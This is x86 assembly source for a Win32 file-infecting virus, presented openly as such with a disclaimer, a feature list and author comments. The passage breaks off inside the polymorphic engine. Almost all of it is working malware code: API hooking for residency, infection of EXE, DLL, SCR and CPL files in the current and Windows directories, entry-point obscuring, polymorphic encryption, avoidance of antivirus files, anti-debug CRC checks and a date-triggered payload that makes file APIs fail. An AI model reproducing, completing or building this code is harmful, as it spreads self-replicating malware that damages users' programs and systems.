; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . This is the source code of a VIRUS. The author is not responsabile
; of any damage that may occur due to the assembly of this file. Use
; it at your own risk. Cuidadiiin!
;
; ÚÄÄÄÄÄÄÄÄÄÄ¿
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÙ
; . Win32 per-process resident PE infector.
; . Infects 10 files per time from current and windows folders.
; . Infection increasing last section.
; . Uses EPO tech. If it cannot apply EPO, it doesn't infect. This makes
; the virus more hard to detect, but infection ratio falls a bit...
; . Uses variable encryption with polymorphism and variable key slide.
; . Size padding as infection sign. Also avoids to infect files with
; CERW attributes in last section (i assume they're infected yet).
; Marks files that are not adequate to be infected.
; . Updates PE header checksum after infection.
; . Hooks:
; CreateFileA
; MoveFileA
; CopyFileA
; CreateProcessA
; SetFileAttributesA
; GetFileAttributesA
; SearchPathA
; SetCurrentDirectoryA
; . Gets KERNEL32.DLL address using SEH and searches for Win9x, WinNt
; and Win2k.
; . Uses CRC32 instead of names to get needed APIs.
; . Self integrity check using CRC32. This is easy to implement and
; quite effective way to make debug harder.
; . Infects PE files with extension: EXE SCR CPL DLL.
; . Takes care of the relocations (it infects DLL).
; . Avoids infect most used av (only in runtime part).
; . Has active payload about a year after infection. Payload remains
; active a whole month. At this month hooked API will not work. This
; is not as 'terrible' as it seems. User can change the date...
; I know avers are going to say '...it's a dangerous...' shit.
;
; There are other interesting things, but i think is better you take a
; look to the comments inside the code. Moreover in 29#5 there is a
; little article about considerations while infecting DLL.
;
; I realy need a break... no more virus coding for some months. I hope
; you'll find nice this release. I have an idea about a nice tech...
;
;
; The way of the bee
;
.486p
locals
.model flat,STDCALL

extrn ExitProcess:PROC ; needed for 1st generation


extrn MessageBoxA:PROC

;
; Some macros and equs
;

@strz macro string


jmp @@a
@@b:
db string,0
@@a:
push offset @@b
endm

; Notice this could work only in my system due the harcoded address of
; MessageBoxA, but this is only for debug in my comp ;)
@debug macro title,reg
pushad
push 1000h
@@tit: @strz title
pop eax
add eax,ebp
push eax
push reg
push 0h
mov eax,0bff5412eh
call eax
popad
endm

@hook macro ApiAddress


lea eax,ApiAddress
jmp generalHook
endm

vSize equ vEnd-vBegin


PADDING equ 101
STRINGTOP equ 160
crptSize equ vSize-5

; from BC++ Win32 API on-line Reference


WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends

.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'

.CODE
inicio: ; now i've realized i ever
; put this label in spanish!
pushad
call getDelta

lea esi,vBegin+ebp ; setup CRC32 for 1st


mov edi,vSize-4 ; generation
call CRC32
mov dword ptr [myCRC32+ebp],eax

xor dword ptr [hostRET+ebp],eax ; hide hostEP


popad

;
; 99Ways begins here!
;
vBegin label byte
call crypt ; decrypt

; here starts encrypted data -> vBegin + 5


pushad

; get delta offset


call getDelta

mov eax,dword ptr [myCRC32+ebp] ; restore hostEP


xor dword ptr [hostRET+ebp],eax ; before CRC32

lea esi,vBegin+ebp ; integrity check


mov edi,vSize-4 ; using CRC32
call CRC32

cmp eax,dword ptr [myCRC32+ebp]


je skipFakeProcess

cli
call $ ; this will fake the proc

skipFakeProcess:
mov esi,dword ptr [kernel32+ebp] ; test last used
call GetKernel32
jnc getAPIsNow

mov esi,077f00000h ; test for winNt


call GetKernel32
jnc getAPIsNow

mov esi,077e00000h ; test for win2k


call GetKernel32
jnc getAPIsNow

mov esi,0bff70000h ; test for win9x


call GetKernel32
jc returnHost

getAPIsNow:
; now get APIs using CRC32
mov edi,0bff70000h ; coded using win9x
kernel32 equ $-4
; ^ this is a nice way to optimize code and hide data,
; almost all the non-temporary data can be plazed inside code!
mov esi,edi
mov esi,dword ptr [esi+3ch]
add esi,edi
mov esi,dword ptr [esi+78h]
add esi,edi
add esi,1ch

lodsd
add eax,edi
mov dword ptr [address+ebp],eax
lodsd
add eax,edi
mov dword ptr [names+ebp],eax
lodsd
add eax,edi
mov dword ptr [ordinals+ebp],eax

sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax

xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp

searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,edi
push eax edx edi
xor edi,edi
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edi edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je returnHost
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,edi

mov dword ptr [eax+5],ecx


add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl

; make a copy of virus in memory and work there


push 00000040h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz returnHost

lea edi,vBegin+ebp
sub edi,dword ptr [virusEP+ebp]
add dword ptr [imageBase+ebp],edi ; fix relocations
; in the hook routine
lea esi,vBegin+ebp
mov edi,eax
mov ecx,vSize
rep movsb

; patch file loaded copy


call patchVirusBody

; jmp into memory copy - put into edi the return address
; for the memory copy
lea edi,vBegin+ebp
add eax,offset memCopy-offset vBegin
push eax
ret

memCopy:
; get delta offset another time for memory copy
call getDelta
; setup the ret to jmp patched virus copy
mov dword ptr [retPatch+ebp],edi

mov byte ptr [payload+ebp],0

lea edx,dateTime+ebp
push edx
call dword ptr [_GetSystemTime+ebp]

lea edx,dateTime+ebp
mov ax,word ptr [edx+2]
mov bx,-1
countdown equ $-2
; another time
cmp bx,ax ; the day arrived?
jne skipPay

mov byte ptr [payload+ebp],1

skipPay:
; alloc a temporary buffer to generate the poly sample
; of the virus ready to infect
push 00000004h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz quitFromMem

mov dword ptr [memHnd+ebp],eax

; the same polymorphic routine is used for each infection


; in the current execution of the virus
call dword ptr [_GetTickCount+ebp]
mov edi,dword ptr [memHnd+ebp]
add edi,vSize
mov ecx,(crptSize/4)-(4-(crptSize MOD 4))
call GenDCrpt
; store the size of the sample (for infection process)
add eax,vSize
mov dword ptr [gensize+ebp],eax

; Hook the API to get per-process residency


; Notice this must be called before any infection
call hookApi

; set infection counter to 10


mov byte ptr [infCount+ebp],10
call infectDir ; infect current

cmp byte ptr [infCount+ebp],0 ; better performance


je quitFromMem

lea esi,currentPath+ebp ; get current directory


push esi
push STRINGTOP
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz quitFromMem

push STRINGTOP ; get windows directory


lea esi,tmpPath+ebp
push esi
call dword ptr [_GetWindowsDirectoryA+ebp]
or eax,eax
jz quitFromMem

lea esi,tmpPath+ebp ; goto windows directory


push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz quitFromMem

call infectDir ; infect windows folder

lea esi,currentPath+ebp ; go back home


push esi
call dword ptr [_SetCurrentDirectoryA+ebp]

; this is the way to return host


; from the memory copy
jmp quitFromMem

returnHost:
; patch virus
call patchVirusBody

quitFromMem:
popad
push 1234568h
retPatch equ $-4
ret

; i know this way to go back to host it's a bit weird but


; supports relocations (for DLL) and patches the virus
; to avoid be called more than once and ...
patchVirusBody:
lea edi,vBegin+ebp
mov dword ptr [retPatch+ebp],edi
mov byte ptr [edi],0e9h
mov esi,offset fakeHost
hostRET equ $-4
; hehe
mov edx,edi
sub edx,offset vBegin
virusEP equ $-4
; hehehe
add esi,edx
sub esi,5
sub esi,edi
mov dword ptr [edi+1],esi
ret
;
; Returns Delta offset into ebp.
;
getDelta:
call delta
delta:
pop ebp
sub ebp,offset delta
ret
;
; Gets KERNEL32.DLL address in memory.
;
GetKernel32:
pushad
xor edx,edx
lea eax,dword ptr [esp-8h]
xchg eax,dword ptr fs:[edx]
lea edi,GetKernel32Exception+ebp
push edi
push eax

cmp word ptr [esi],'ZM'


jne GetKernel32NotFound
mov dx,word ptr [esi+3ch]
cmp esi,dword ptr [esi+edx+34h]
jne GetKernel32NotFound
mov dword ptr [kernel32+ebp],esi

xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
clc
ret
GetKernel32Exception:
xor edi,edi
mov eax,dword ptr fs:[edi]
mov esp,dword ptr [eax]
GetKernel32NotFound:
xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
stc
ret
;
; This routine makes CRC32.
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;
; This routine hooks the APIs that gives virus residency.
; Takes care of relocations.
;
hookApi:
pushad
; init the sem to free
mov byte ptr [semHook+ebp],0
mov edx,400000h
imageBase equ $-4
; ;)
cmp word ptr [edx],'ZM'
jne noHook
mov edi,edx
add edi,dword ptr [edx+3ch]
cmp word ptr [edi],'EP'
jne noHook
mov edi,dword ptr [edi+80h] ; RVA import
or edi,edi
jz noHook
add edi,edx
searchK32Imp:
mov esi,dword ptr [edi+0ch] ; get name
or esi,esi
jz noHook
add esi,edx
push edi ; save (stringUp doesn't)
call stringUp
pop edi
jc nextName
lea esi,stringBuffer+ebp
cmp dword ptr [esi],'NREK' ; look for Kernel32 module
jne nextName
cmp dword ptr [esi+4],'23LE'
je k32ImpFound
nextName:
add edi,14h
mov esi,dword ptr [edi]
or esi,esi
jz noHook
jmp searchK32Imp
k32ImpFound:
mov esi,dword ptr [edi+10h] ; get address table
or esi,esi
jz noHook
add esi,edx
lea ecx,HOOKTABLEEND+ebp
nextImp: ; search for APIs
lea edx,HOOKTABLEBEGIN+ebp
lodsd
or eax,eax
jz noHook
checkNextAPI:
mov edi,dword ptr [edx]
cmp eax,dword ptr [edi+ebp]
je doHook
add edx,8
cmp edx,ecx
jne checkNextAPI
jmp nextImp
doHook:
mov eax,dword ptr [edx+4]
add eax,ebp
mov dword ptr [esi-4],eax
add edx,8
cmp edx,ecx
jne nextImp
noHook:
popad
ret
;
; Changes to upper case the string by esi storing into stringBuffer.
; Sets carry flag if our string buffer is small. Returns in edi the
; end of the string into the buffer.
;
stringUp:
push esi eax
lea edi,stringBuffer+ebp
mov eax,edi
add eax,STRINGTOP
stringUpLoop:
cmp eax,edi
jne continueStringUp
stc
jmp stringUpOut
continueStringUp:
movsb
cmp byte ptr [esi-1],'a'
jb skipThisChar
cmp byte ptr [esi-1],'z'
ja skipThisChar
add byte ptr [edi-1],'A'-'a'
skipThisChar:
cmp byte ptr [esi-1],0
jne stringUpLoop
dec edi
clc
stringUpOut:
pop eax esi
ret
;
; The hooks.
;
Hook0:
@hook _CreateFileA
Hook1:
@hook _MoveFileA
Hook2:
@hook _CopyFileA
Hook3:
@hook _CreateProcessA
Hook4:
@hook _SetFileAttributesA
Hook5:
@hook _GetFileAttributesA
Hook6:
@hook _SearchPathA
Hook7:
@hook _SetCurrentDirectoryA
;
; This is the general hook that provides per-process residency.
;
generalHook:
push eax
pushad
pushfd
cld

; get delta offset


call getDelta
; setup the return hook
mov eax,dword ptr [eax+ebp]
mov dword ptr [esp+24h],eax

; check if filename==NULL
mov esi,dword ptr [esp+2ch]
or esi,esi
jz leaveHook
; check semaphore
cmp byte ptr [semHook+ebp],0
jne leaveHook

mov byte ptr [semHook+ebp],1

cmp byte ptr [payload+ebp],0


je skipPayloadEffect

; in the date of activation all hooked APIs will fail


xor eax,eax
mov dword ptr [esp+2ch],eax
jmp hookInfectionFail

skipPayloadEffect:
call stringUp
jc hookInfectionFail

push edi ; test the string it's


sub edi,esi ; long enought
cmp edi,5
pop edi
jna hookInfectionFail

cmp dword ptr [edi-4],'EXE.'


je infectThisFile
cmp dword ptr [edi-4],'LLD.'
je infectThisFile
cmp dword ptr [edi-4],'LPC.'
je infectThisFile
cmp dword ptr [edi-4],'RCS.'
jne hookInfectionFail

infectThisFile:
lea esi,stringBuffer+ebp ; erm... here could touch
call infect ; any av!

hookInfectionFail:
mov byte ptr [semHook+ebp],0
leaveHook:
popfd
popad
ret
;
; Infects PE files in current directory. It affects EXE, SCR, CPL and DLL
; extensions.
;
infectDir:
pushad

lea esi,find_data+ebp
push esi
lea esi,fndMask+ebp
push esi
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz notFound
dec eax

mov dword ptr [findHnd+ebp],eax

findNext:
lea esi,find_data.cFileName+ebp
call stringUp
lea esi,stringBuffer+ebp
push edi ; test the string it's
sub edi,esi ; long enought
cmp edi,5
pop edi
jna skipThisFile
cmp dword ptr [edi-4],'EXE.'
je validFileExt
cmp dword ptr [edi-4],'LLD.'
je validFileExt
cmp dword ptr [edi-4],'LPC.'
je validFileExt
cmp dword ptr [edi-4],'RCS.'
jne skipThisFile

validFileExt:
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
cmp eax,8000h
jb skipThisFile ; at least 8000h bytes?
mov ecx,PADDING ; test if it's infected
xor edx,edx ; yet
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile

testIfAv: ; let's search for strings


; that may appear in av progs
lea edi,avStrings+ebp
mov ecx,vStringsCout
testIfAvL:
push esi
mov ax,word ptr [edi]
testAvLoop:
cmp word ptr [esi],ax
jne contTestLoop
pop esi
jmp skipThisFile
contTestLoop:
inc esi
cmp byte ptr [esi+3],0 ; skip the extension
jne testAvLoop
pop esi
add edi,2
loop testIfAvL

lea esi,stringBuffer+ebp
call infect

cmp byte ptr [infCount+ebp],0 ; test 10 infections


je infectionDone

skipThisFile:
lea esi,find_data+ebp
push esi
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp] ; Find next file
or eax,eax
jnz findNext

infectionDone:
push dword ptr [findHnd+ebp]
call dword ptr [_FindClose+ebp]
notFound:
popad
ret
;
; Infects PE file increasing last section.
;
; ESI: addr of file name of PE to infect.
;
infect:
pushad
mov dword ptr [fNameAddr+ebp],esi

push esi
push esi
call dword ptr [_GetFileAttributesA+ebp]
pop esi
inc eax
jz infectionError
dec eax

mov dword ptr [fileAttrib+ebp],eax

push esi
push 00000080h
push esi
call dword ptr [_SetFileAttributesA+ebp]
pop esi
or eax,eax
jz infectionError

xor eax,eax
push eax
push 00000080h
push 00000003h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp]
inc eax
jz infectionErrorAttrib
dec eax

mov dword ptr [fHnd+ebp],eax

push 0h
push eax
call dword ptr [_GetFileSize+ebp]
inc eax
jz infectionErrorClose
dec eax

mov dword ptr [fileSize+ebp],eax

lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_GetFileTime+ebp]
or eax,eax
jz infectionErrorClose

xor eax,eax
push eax
push eax
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose

mov dword ptr [fhmap+ebp],eax

xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap

mov dword ptr [mapMem+ebp],eax

mov edi,eax
cmp word ptr [edi],'ZM'
jne infectionErrorCloseUnmap

cmp word ptr [edi+12h],'(:' ; not valid file?


je infectionErrorCloseUnmap

add edi,dword ptr [edi+3ch]


cmp eax,edi
ja notValidFile ; avoid fucking headers
add eax,dword ptr [fileSize+ebp]
cmp eax,edi
jb notValidFile ; avoid fucking headers
cmp word ptr [edi],'EP'
jne notValidFile

mov edx,dword ptr [edi+16h] ; test it's a valid PE


and edx,2h ; i want executable
jz notValidFile
xor edx,edx
mov dx,word ptr [edi+5ch]
dec edx ; i don't want NATIVE
jz notValidFile

mov edx,edi

cmp dword ptr [edx+28h],0 ; test code base!=0


je notValidFile ; this check is for some
; DLL with no exec code
mov esi,edi
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax
mov dword ptr [fstSec+ebp],edi
push edx
mov cx,word ptr [esi+06h]
mov ax,28h
dec cx
mul cx
add edi,eax
pop edx

test dword ptr [edi+24h],10000000h ; avoid this kind of section


jnz notValidFile ; we can corrupt it!

mov eax,dword ptr [edi+24h]


and eax,0e0000020h
cmp eax,0e0000020h ; mmm... This is infected yet
je infectionErrorCloseUnmap

mov eax,dword ptr [edi+10h] ; i rely on the headers...


add eax,dword ptr [edi+14h]
mov dword ptr [fileSize+ebp],eax

sub eax,dword ptr [edi+14h] ; calc our RVA


add eax,dword ptr [edi+0ch]
mov dword ptr [myRVA+ebp],eax
; save virus entry point to calc relocations in
; execution time
add eax,dword ptr [esi+34h]
mov dword ptr [virusEP+ebp],eax

call searchEPO ; Search for a call


jc notValidFile

push edi edx ecx ; patch the call


mov edx,dword ptr [myRVA+ebp]
add edx,dword ptr [esi+34h] ; edx = dest rva
mov edi,dword ptr [EPORva+ebp]
add edi,dword ptr [esi+34h] ; edi = call rva
sub edx,edi
sub edx,5 ; edx patch the call
mov ecx,dword ptr [EPOAddr+ebp]
xchg dword ptr [ecx+1],edx
add edx,edi ; get the rva
add edx,5
mov dword ptr [hostRET+ebp],edx ; and store it ;)
pop ecx edx edi

mov eax,dword ptr [edi+08h] ; fix the virtual size


push edx ; if needed
mov ecx,dword ptr [edx+38h] ; some PE have strange
xor edx,edx ; virt size (cdplayer p.e.)
div ecx
inc eax
or edx,edx
jz rvaFixDone
xor edx,edx
mul ecx

mov dword ptr [edi+08h],eax ; save the fixed virt size


rvaFixDone:

; save image base for hook API


mov edx,dword ptr [esi+34h]
mov dword ptr [imageBase+ebp],edx
pop edx
push edx ; calc the new virtual size
mov eax,BUFFERSIZE ; for the section
add eax,vSize
mov ecx,dword ptr [edx+38h]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx

add dword ptr [edi+08h],eax ; fix the virtual size


add dword ptr [edx+50h],eax ; fix the image size

or dword ptr [edi+24h],0e0000020h ; set the properties

push edx ; calc new size for


mov eax,dword ptr [gensize+ebp] ; the section
mov ecx,dword ptr [edx+3ch]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx

add dword ptr [edi+10h],eax ; store the phys size

mov edi,dword ptr [edx+80h] ; get RVA Import


xor ecx,ecx
mov cx,word ptr [edx+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr

impSectionLoop: ; look for import section


mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb impSectionFound
add esi,28h
dec ecx
jnz impSectionLoop

impSectionFound:
or dword ptr [esi+24h],80000000h ; make writable

push edx ; calc file padding


mov ecx,PADDING ; (infection sign)
add eax,dword ptr [fileSize+ebp]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov dword ptr [pad+ebp],eax
pop edx

; update the virus sample ready to infect.


call updateVSample

push dword ptr [mapMem+ebp]


call dword ptr [_UnmapViewOfFile+ebp]
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]

xor eax,eax
push eax
push dword ptr [pad+ebp]
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose

mov dword ptr [fhmap+ebp],eax

xor eax,eax
push dword ptr [pad+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap

mov dword ptr [mapMem+ebp],eax

mov ecx,dword ptr [gensize+ebp]


mov esi,dword ptr [memHnd+ebp]
mov edi,eax
add edi,dword ptr [fileSize+ebp]
rep movsb

xchg ecx,eax ; I want the padding


mov eax,edi ; to be zeroes...
sub eax,ecx
mov ecx,dword ptr [pad+ebp]
sub ecx,eax
xor eax,eax
rep stosb

; update the PE checksum


mov ecx,dword ptr [pad+ebp]
inc ecx
shr ecx,1
mov esi,dword ptr [mapMem+ebp]
call CheckSumMappedFile ; calc partial check sum
add esi,dword ptr [esi+3ch] ; goto begin of nt header
mov word ptr [pchcks+ebp],ax
mov edx,1 ; complete the check sum
mov ecx,edx
mov ax,word ptr [esi+58h]
cmp word ptr [pchcks+ebp],ax
adc ecx,-1
sub word ptr [pchcks+ebp],cx
sub word ptr [pchcks+ebp],ax
mov ax,word ptr [esi+5ah]
cmp word ptr [pchcks+ebp],ax
adc edx,-1
sub word ptr [pchcks+ebp],dx
sub word ptr [pchcks+ebp],ax
movzx ecx,word ptr [pchcks+ebp]
add ecx,dword ptr [pad+ebp]
mov dword ptr [esi+58h],ecx ; set new check sum

dec byte ptr [infCount+ebp] ; another infection

infectionErrorCloseUnmap:
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]

infectionErrorCloseMap:
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]

lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_SetFileTime+ebp]

infectionErrorClose:
push dword ptr [fHnd+ebp]
call dword ptr [_CloseHandle+ebp]

infectionErrorAttrib:
push dword ptr [fileAttrib+ebp]
push dword ptr [fNameAddr+ebp]
call dword ptr [_SetFileAttributesA+ebp]

infectionError:
popad
ret
;
; Here the virus marks the file as no valid. This avoids later re-check
; the file in next executions of virus. Notice the infected files are not
; marked, for this issue i use size padding and test last section properties
; in second instance. Avers will find this mark in files that the virus
; doesn't want ;)
;
notValidFile:
mov edi,dword ptr [mapMem+ebp]
mov word ptr [edi+12h],'(:' ; checked but not valid!
jmp infectionErrorCloseUnmap

;
; This my 'search EPO' routine. Searches for a call into the code section
; that points to:
;
; push ebp
; mov ebp,esp
;
; This is the way the high level languages get the arguments from a call
; of a procedure. If this code is found i assume the call found it's
; correct and i patch it to jump into the virus.
;
searchEPO:
pushad
mov edi,dword ptr [esi+28h] ; get host EP

xor ecx,ecx
mov cx,word ptr [esi+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr

sectionLoop: ; look for code section


mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb sectionFound
add esi,28h
dec ecx
jnz sectionLoop
stc
jmp searchEPOOut

sectionFound:
test dword ptr [esi+24h],10000000h ; avoid this kind of section
jnz searchEPOFail ; we can corrupt it!

push esi
sub edi,dword ptr [esi+0ch] ; get raw address
add edi,dword ptr [esi+14h]
mov ecx,dword ptr [esi+10h]
cmp ecx,edi
jna searchEPOFail
sub ecx,edi
add edi,dword ptr [mapMem+ebp]
mov ebx,edi
add ebx,ecx
sub ebx,10h ; high secure fence
callLoop: ; loop that searches
cmp byte ptr [edi],0e8h ; for the call
jne continueCallLoop
mov edx,edi
add edx,dword ptr [edi+1]
add edx,5
cmp ebx,edx
jb continueCallLoop
cmp edx,dword ptr [mapMem+ebp]
jb continueCallLoop
mov esi,edx
mov dx,word ptr [esi]
cmp dx,08b55h
jne continueCallLoop
mov dx,word ptr [esi+1]
cmp dx,0ec8bh
jne continueCallLoop
mov dword ptr [EPOAddr+ebp],edi
sub edi,dword ptr [mapMem+ebp]
pop esi
add edi,dword ptr [esi+0ch] ; get rva address
sub edi,dword ptr [esi+14h]
mov dword ptr [EPORva+ebp],edi
clc
jmp searchEPOOut
continueCallLoop:
inc edi
loop callLoop
searchEPOFail:
pop esi
stc
searchEPOOut:
popad
ret
;
; Updates the virus sample ready to infect in our memory buffer.
;
updateVSample:
lea edx,dateTime+ebp
push edx
call dword ptr [_GetSystemTime+ebp]

lea esi,dateTime+ebp ; save month-1


xor eax,eax
mov ax,word ptr [esi+2]
dec eax
or eax,eax
jnz storeCountdown

add eax,12

storeCountdown:
mov word ptr [countdown+ebp],ax

lea esi,vBegin+ebp ; update integrity check


mov edi,vSize-4 ; using CRC32
call CRC32
mov dword ptr [myCRC32+ebp],eax

xor dword ptr [hostRET+ebp],eax ; hide hostEP

lea esi,vBegin+ebp ; copy virus body


mov edi,dword ptr [memHnd+ebp]
mov ecx,vSize
rep movsb

mov ecx,dword ptr [CodeSize+ebp] ; encrypt virus body


mov esi,5
add esi,dword ptr [memHnd+ebp]
mov eax,dword ptr [CrptKey+ebp]
encrptLoop:
xor dword ptr [esi],eax

test byte ptr [CrptFlags+ebp],F_SADD ; slide add?


jz crptNoSADD

mov edx,dword ptr [CrptKey+ebp]


not edx
add eax,edx
crptNoSADD:
test byte ptr [CrptFlags+ebp],F_SSUB ; slide sub?
jz crptNoSSUB

mov edx,dword ptr [CrptKey+ebp]


rol edx,4
sub eax,edx
crptNoSSUB:
add esi,4
loop encrptLoop
ret
;
; [99WATLEN] 99 WAys To Lame ENgine
;
; This is the lame poly engine of this time :(
; It's only a way to not put fixed decryptors...
; Notice it doesn't add garbage instructions.
;
; EAX: CrptKey
; ECX: CodeSize
; EDI: Destination address
;
; returns EAX: size of generated proc
;
; <KeyReg>: eax edx ebx ecx esi edi
; <CouReg>: eax edx ebx ecx esi edi - { <KeyReg> }
; <*Imm32>: Random immediate value
; ?? op ??: Op could be here (or not ;)
;
; push ebp
; mov ebp,esp
; push <KeyReg>
; push <CouReg>
; mov <KeyReg>,<KeyImm32>
; mov <CouReg>,<KeyImm32>
; mov ebp,[ebp+4]
;theloop:
; xor [ebp],<KeyReg>
; ?? add <KeyReg>,<SlideUpImm32> ??
; ?? sub <KeyReg>,<SlideDownImm32> ??
; add ebp,4
; sub <CouReg>,1
; jne theloop
; pop <CouReg>
; pop <KeyReg>
; pop ebp
; ret
;
GenDCrpt:
pushad ; setup regs status
xor eax,eax
lea edi,RegStatus+ebp
mov ecx,9
rep stosb
popad
mov byte ptr [RegStatus+ebp+_EBP],1
mov byte ptr [RegStatus+ebp+_ESP],1
mov dword ptr [CrptKey+ebp],eax
mov dword ptr [CodeSize+ebp],ecx
mov byte ptr [CrptFlags+ebp],al
xor byte ptr [CrptFlags+ebp],ah

xor eax,eax
push edi

mov cl,_EBP
call AddPushREG

mov ax,0ec8bh
stosw

call GetReg
mov byte ptr [KeyReg+ebp],al

mov cl,al
call AddPushREG

call GetReg
mov byte ptr [LoopReg+ebp],al

mov cl,al
call AddPushREG
mov cl,byte ptr [KeyReg+ebp]
mov edx,dword ptr [CrptKey+ebp]
call AddMovREGINM

mov cl,byte ptr [LoopReg+ebp]


mov edx,dword ptr [CodeSize+ebp]
call AddMovREGINM

mov edx,04h
mov cl,_EBP
call AddMovREGMEMEBP

push edi

mov cl,byte ptr [KeyReg+ebp]


call AddXorMEMEBPREG

test byte ptr [CrptFlags+ebp],F_SADD


jz noSADD

mov cl,byte ptr [KeyReg+ebp]


mov edx,dword ptr [CrptKey+ebp]
not edx
call AddAddREGINM

noSADD:
test byte ptr [CrptFlags+ebp],F_SSUB
jz noSSUB

mov cl,byte ptr [KeyReg+ebp]


mov edx,dword ptr [CrptKey+ebp]
rol edx,4
call AddSubREGINM

noSSUB:
mov cl,_EBP
mov edx,04h
call AddAddREGINM

mov cl,byte ptr [LoopReg+ebp]


mov edx,1
call AddSubREGINM

pop ebx
mov eax,edi
sub eax,ebx
push eax
mov al,75h
stosb
pop eax
mov ah,0feh
xchg al,ah
sub al,ah
stosb

mov cl,byte ptr [LoopReg+ebp]


call AddPopREG

mov al,byte ptr [LoopReg+ebp]


call FreeReg

mov cl,byte ptr [KeyReg+ebp]


call AddPopREG

mov cl,_EBP
call AddPopREG

mov al,0c3h
stosb

pop esi
sub edi,esi
mov eax,edi
ret

;
; Poly engine data
;
_EAX equ 0
_ECX equ 1
_EDX equ 2
_EBX equ 3
_ESP equ 4
_EBP equ 5
_ESI equ 6
_EDI equ 7
F_SADD equ 1 or 4
F_SSUB equ 2 or 4
RegStatus db 8 dup(0)
CrptFlags db 0
KeyReg db 0
LoopReg db 0
CrptKey dd 0
CodeSize dd 0

;
; returns AL: selected register
;
GetReg:
xor eax,eax
mov al,byte ptr [CrptKey+ebp]
GetReg1:
and al,7
lea ecx,RegStatus+ebp
add ecx,eax
mov dl,byte ptr [ecx]
or dl,dl
jz GetReg0
inc al
jmp GetReg1
GetReg0:
mov byte ptr [ecx],1
ret

;
; AL: selected register to free
;
FreeReg:
and eax,7
